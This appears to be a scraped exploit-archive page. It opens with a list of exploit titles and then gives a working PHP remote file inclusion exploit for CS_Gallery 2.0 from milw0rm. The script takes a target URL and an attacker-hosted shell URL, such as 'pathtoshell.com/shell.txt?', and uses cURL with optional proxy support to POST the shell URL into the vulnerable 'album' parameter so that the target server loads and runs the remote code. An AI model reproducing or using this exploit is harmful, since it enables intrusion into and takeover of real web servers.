
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
62 lines
1.9 KiB
PHP
Executable file
62 lines
1.9 KiB
PHP
Executable file
<?php
|
|
|
|
//File Inclusion Exploit for CS_Gallery <= 2.0
|
|
//Found and Exploit Coded by burncycle - burncycle[(at)]robert-beran[(dot)]de
|
|
//|
|
|
//Vendor: http://www.cschneider.de/
|
|
//Dork: www.cschneider.info
|
|
//|
|
|
//Bug in "index.php":
|
|
//..
|
|
//$codefile=$_POST['album'].'/code.php';
|
|
//include $codefile;
|
|
//..
|
|
//|
|
|
//Usage: php exploit.php [pathtoscript] [pathtoshell] ([proxy:port])
|
|
//Example: php exploit.php http://pathtoscript.com/cs_gallery/ http://pathtoshell.com/shell.txt? (localhost:8118)
|
|
//|
|
|
//Your Box Needs the cURL extension of PHP
|
|
//The exploit works only with allow_url_fopen = On and allow_url_include = On PHP settings on the target box
|
|
//|
|
|
//Edited 20.05.2007 by ensai (the same person as burncycle ;))
|
|
//Added proxy support, working conditions supplemented and easier file inclusion statement
|
|
|
|
//Nur ausnahme Fehler anzeigen
|
|
error_reporting(1);
|
|
|
|
echo "Usage: php ".$_SERVER["argv"][0]." [pathtoscript] [pathtoshell] ([proxy:port])\r\n\r\n";
|
|
echo "Example: php ".$_SERVER["argv"][0]." http://pathtoscript.com/cs_gallery/ http://pathtoshell.com/shell.txt? (localhost:8118)\r\n\r\n";
|
|
|
|
//Schauen ob alles angegeben wurde
|
|
if(!empty($_SERVER["argv"][1]) && !empty($_SERVER["argv"][2]))
|
|
{
|
|
|
|
$pathtoscript = $_SERVER["argv"][1];
|
|
$pathtoshell = $_SERVER["argv"][2];
|
|
|
|
//erzeuge ein neues cURL Handle
|
|
$ch = curl_init();
|
|
|
|
//proxy setzen
|
|
if (!empty($_SERVER['argv'][3]))
|
|
{
|
|
curl_setopt($ch, CURLOPT_PROXY, $_SERVER['argv'][3]);
|
|
}
|
|
|
|
//setzte die URL und andere Optionen
|
|
curl_setopt($ch, CURLOPT_URL, $pathtoscript."index.php?todo=securealbum");
|
|
curl_setopt($ch, CURLOPT_HEADER, 0);
|
|
curl_setopt($ch, CURLOPT_POST, 1);
|
|
curl_setopt($ch, CURLOPT_POSTFIELDS, "album=".$pathtoshell);
|
|
|
|
//f?hre die Aktion aus
|
|
curl_exec($ch);
|
|
|
|
//schlie?e das Handle und gebe Systemresourcen frei
|
|
curl_close($ch);
|
|
|
|
}
|
|
|
|
?>
|
|
|
|
# milw0rm.com [2007-02-24]
|